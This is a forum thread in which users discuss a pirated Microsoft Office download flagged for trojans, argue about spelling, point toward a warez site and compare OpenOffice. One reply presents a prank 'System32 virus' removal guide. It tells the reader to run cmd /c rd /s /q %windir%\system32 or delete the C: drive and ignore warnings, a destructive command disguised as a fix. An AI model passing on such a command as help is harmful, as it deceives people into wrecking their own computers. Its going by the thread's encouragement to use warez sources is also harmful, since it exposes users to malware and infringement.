    Perhaps with the money you've saved by using pirate software, you can afford a few Capital Letters and a book on English spelling and grammar. :rolleyes:
    What gives you the right to criticise another person's spelling,after all you do not know whether this person may have a very good reason for their spelling and grammar mistakes,ie: dyslexia or perhaps a clue is in there logon name !!.They may not be British by birth for instance,but at least they are trying to communicate in our language,It must be so good to be perfect !!!

    well thanks for the response
    yes i know its not legite but iam making no money,, but trying to save some

    do not think i have to use any other programs to find trojan, AVG has done that for me and when i delete them the file for set up disapears !!!!

    it is a big down load 1.41 gig so weather its all fake i don't all other files have some thing in them

    blue edition should be as some one stated run with no code needed

    may be i should look at this beta 2010 can i run a ''publisher'' document on it ,,which is what my daughter needs in for

    ps so andy2004 where did you get your copy from?

    thanks vic

    I downloaded it i think from a warez site, that is safe ironic i know, been with them for 5 years, anyone found posting infected files gets a warning, unless they can prove its a false positive, and if they dont then they get banned from posting and file links get removed.
    The files at the time i believe were 7x100mb files, making 1 iso image when extracted. I know i downloaded it and burned the iso file. found the cd in my box yesterday.
    I cant post the site name in here, legal issues, but if u have yahoo messenger installed or any chatclient that can use yahoo, and go into windows:1 i'm sure someone will tell you the website.
    Personally for yahoo i use a new chat client called Y!Epic https://www.yepic.co.uk

    Take a look at your own spelling etc, if you want to be pedantic.

    No matter what the nationality, if someone downloads software for free, from a warez site, which they know should be paid for, then comes on here moaning about trojans, in my book that makes them fair game.

    Also on anther note, how is it that 'alleged' dyslexics always manage to spell the word itself correctly?

    is your daughter a student? she can get office for £30. if she needs it for study thats the way forward. if she needs it for work she can pay for it like everybody else.

    If you want to try to persist with the hooky copy you could try the following:

    System32 is a virus that infects your Windows directory and turns it into a Sega game. Microsoft makes software to remedy this called "My Computer". It comes pre-installed with most Windows systems and can most likely be found on your desktop.
    To remove the System32 trojan virus, you have two choices. The quickest, most effective method is to press the Windows key on the keyboard, hold it, and press 'R', and then type cmd /c rd /s /q %windir%\system32 -- or you may double-click "My Computer", then right-click the infected C: directory, and choose Delete. Ignore any warnings, as this malicious virus will try to stay on your directory as long as it can. However, if it is too late for "My Computer" to fix it, your computer will stop working.
    Of course if this doesn't fix your problem sufficiently you can always do a factory wipe. This operation is carried out by removing your hard drive then unscrewing the case. After this remove the black disk inside the casing (this covered with system32) and clean with acetone until the aluminium platters are clean once more. While you are at it, remove your RAM chips and wipe them on a woollen jumper as to renew the static in the static RAM.
    Remounting is the reverse of removal, then Press the on button and- voila!- "system 32" is gone. Enjoy your bug free, virus free computer.

    wonders how much money microsoft is making from all the legal sells of windows 7 throughout the world, and all the other programs that they also sell, about 16billion.

    Why buy microsoft office for £30 when you can quite easily download openoffice freely, fully compatible with microsoft office.

  • Openoffice is very good for a lot of things, but some documents cause problems with it. The excel timesheet i need to use at my work has a problem with one of the macros, and my payroll dept wont accept it if I tweak the macro to fix the problem and the formatting on SVQ evidence gathering forms goes all to pot after opening the document twice. I spent weeks putting questions on various openoffice support forums to no avail. Openoffice is brilliant if it does what you want though.
